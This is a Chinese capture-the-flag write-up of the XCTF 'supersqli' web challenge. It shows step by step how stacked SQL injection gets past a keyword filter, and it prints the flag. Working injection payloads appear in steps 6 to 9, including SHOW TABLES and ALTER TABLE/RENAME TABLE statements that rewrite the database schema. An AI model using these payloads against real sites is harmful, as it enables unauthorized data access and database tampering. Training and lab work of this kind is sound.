攻防世界(xctf) web進階 supersqli sql注入 堆疊注入


flag{c168d583ed0d4d7196967b28cbd0b5e9}

1.使用正常參數提交,顯示正常網頁

  

2.注入點判斷  參數 1' 網頁報錯,sql語句異常,判定存在注入點

  

 

 

 3.嘗試判斷閉合符合 1'# 單引號閉合(%23為url編碼中的#)

  

 

 

 4.嘗試直接使用union注入 , 但是由於存在正在表達式 ,所以union無法使用

  order by 判斷了字段數為2

  

 

 

   關鍵字被過濾:

  

 

5.只能用報錯或者盲注注入出數據庫的名字  supersqli (使用sqlmap也可以跑的出來數據庫的名字)

6.嘗試使用堆疊注入: -1;show tables%23 存在多個表的回顯,考慮嘗試並使用堆疊注入

  

 

 

 

6..由於是發現關鍵字就將結果返回並打印出來,冥思苦想了好久,最多只能使用報錯或者盲注注入出數據庫名字, 其余含有sql與的語法的參數就會返回指定的信息。 於是去網上找到了答案 

  思路:只過濾了幾個常見的關鍵字,並沒用全部不過濾,而且堆疊注入可以使用,嘗試注入出查詢的’words‘表和‘1919810931114514’表的結構,並使用堆疊注入將原本被查詢的數據表的更改,將需要別查詢表的名字更改原本被查詢的表的名字,由於可能存在列數不匹配的情況,先將其表的列數或者列明更改為相同列名

7.查詢兩個表的字段名: show columns from `需要查詢的表`;   使用的時候注意加上反引號``    

  1919810931114514 表:payload: -1';show columns from `1919810931114514`%23

    

 

 

   words表:-1';show columns from `words`%23

    

     1919810931114514 表中的flag字段 應該就是我們想要的字段,words應該是本來查詢的表,但是比原本的表多出一個字段,我們需要將其補全

 

8. 為1919810931114514 表添加id字段並將其 flag字段名更改為data

  為1919810931114514添加一個id字段,並將其設置為主鍵和自動增加,以確定值的存在

  payload:-1';ALTER TABLE `1919810931114514` ADD (id int(11) primary key auto_increment);%23 

  使用-1';show columns from `1919810931114514`%23查看是否添加成功:

    

 

 

  將flag列名更改為data

  payload:alert table `1919810931114514` change flag data varchar(100)%23

  查看一下表結構:字段修改成功(下面為查詢所有字段的sql語句)

  

 

 

 9.將 words 表名字修改成任意表名, 將 1919810931114514 表的名字修改成 words表,查詢1 即可,因為原本的對應的查詢就是id的值,這里我們只需要填入id的值即可

  payload : -1';rename table `words` to `tables`;rename table `1919810931114514` to `words`%23

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM